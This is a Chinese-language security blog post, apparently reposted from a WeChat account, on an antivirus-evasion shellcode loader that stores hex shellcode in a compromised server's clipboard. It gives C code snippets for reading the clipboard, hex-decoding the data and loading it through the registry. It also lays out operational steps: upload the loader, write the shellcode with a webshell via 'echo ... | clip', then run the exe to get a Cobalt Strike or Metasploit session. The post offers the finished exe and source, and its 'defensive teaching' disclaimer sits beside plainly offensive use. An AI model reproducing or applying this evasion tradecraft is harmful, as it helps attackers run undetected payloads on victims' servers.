分离免杀-剪贴板加载器

admin 2022年1月28日10:45:52安全文章评论101 views1774字阅读5分54秒阅读模式
分离免杀-剪贴板加载器
一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚


剪贴板分离免杀



之前发过一个使用剪贴板API函数写的免杀加载器《花里胡哨免杀之剪切板加载器》,但今天这个有点不同,是用来做分离免杀的。


正常分离免杀就是将shellcode放在远程服务器、或存在本地txt、图片等文件里。这种分离还是有特征的,访问某个ip、加载读取某个文件等。

而今天的分离思路是将shellcode写进被攻击者服务器剪贴板里,通过api函数读取剪贴板内容写入内存中。


原理



1、首先是怎么将shellcode写进剪贴板

在cmd命令行下通过clip命令可以操作剪切板,可以使用echo将shellcode写入剪切板

echo fc4883e4f0e8c00000.... | clip

剪切板能存的内容格式很多,可以是文本、图片、文件等等

这里我将shellcode转为了16进制的文本形式(就是bin文件打开然后替换空格和回车)

分离免杀-剪贴板加载器


2、加载器实现读取剪贴板的shellcode

使用GetClipboardData函数查找CF_TEXT格式剪贴板的数据,获取数据所在的内存地址

BOOL Cb = OpenClipboard(NULL);HANDLE hMem = GetClipboardData(CF_TEXT);char* shellcode1 = (char*)GlobalLock(hMem);//cout << shellcode1 << endl;


3、此时获取的数据是16进制字符串形式

fc4883e4f0e8c00000....

百度找了个源码可以实现将字符串转换成真正的shellcode

int HexDecode(char *hex, unsigned char *shellcode,int offset_list_len){     unsigned char* pResult = shellcode+(offset_list_len/2);     bool odd_digit = 1;     for (int i = offset_list_len-1; i >= 0; i--)     {          unsigned char ch = hex[i];          int tmp = FromHex(ch);          if (tmp == -1) {                     continue;          }          if (odd_digit) {                     --pResult;                     *pResult = tmp;                     odd_digit = 0;          }          else {                     *pResult |= tmp << 4;                     odd_digit = 1;          }     }     return 123;}


4、就正常写内存加载器就行了,哪种免杀效果好用哪种

下面源码使用的注册表加载器,具体原理找之前文章

CS免杀-RegQueryValueExA加载器

LSTATUS rsv = RegSetValueEx(HKEY_CURRENT_USER, L"test1", 0, REG_BINARY, (const unsigned char*)shellcode, len_shellcode);DWORD cbData;RegQueryValueEx(HKEY_CURRENT_USER, L"test1", NULL, NULL, NULL, &cbData);LSTATUS rqv = RegQueryValueEx(HKEY_CURRENT_USER, L"test1", NULL, NULL, (LPBYTE)ptr, &cbData);RegDeleteValue(HKEY_CURRENT_USER, L"test1");

生成exe后测试免杀效果,效果好就能一直使用了。

我个人测试64位比32位免杀效果好。

分离免杀-剪贴板加载器



使用方法



1、将加载器上传到被攻击服务器

2、使用webshell在命令行下将shellcode写进剪切板

echo fc4883e4f0e8c00000.... | clip

这里注意shellcode格式

分离免杀-剪贴板加载器

3、运行加载器即可

start c:usersadminClipboard.exe

具体操作可看视频



优缺点



优点是加载器本身不存在shellcode,加载器生成之后可以无限使用,它的功能主要取决于shellcode。


并且没有访问ip,读取文件的行为,就算放进沙箱检测,沙箱内的剪切板也访问不到shellcode。


缺点就是这个思路只能用于webshell上线cs或msf,不能用于钓鱼上线。


现成 EXE星球自提

源码回复:剪贴板分离免杀

原文始发于微信公众号(XG小刚):分离免杀-剪贴板加载器

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月28日10:45:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  分离免杀-剪贴板加载器 http://cn-sec.com/archives/758211.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: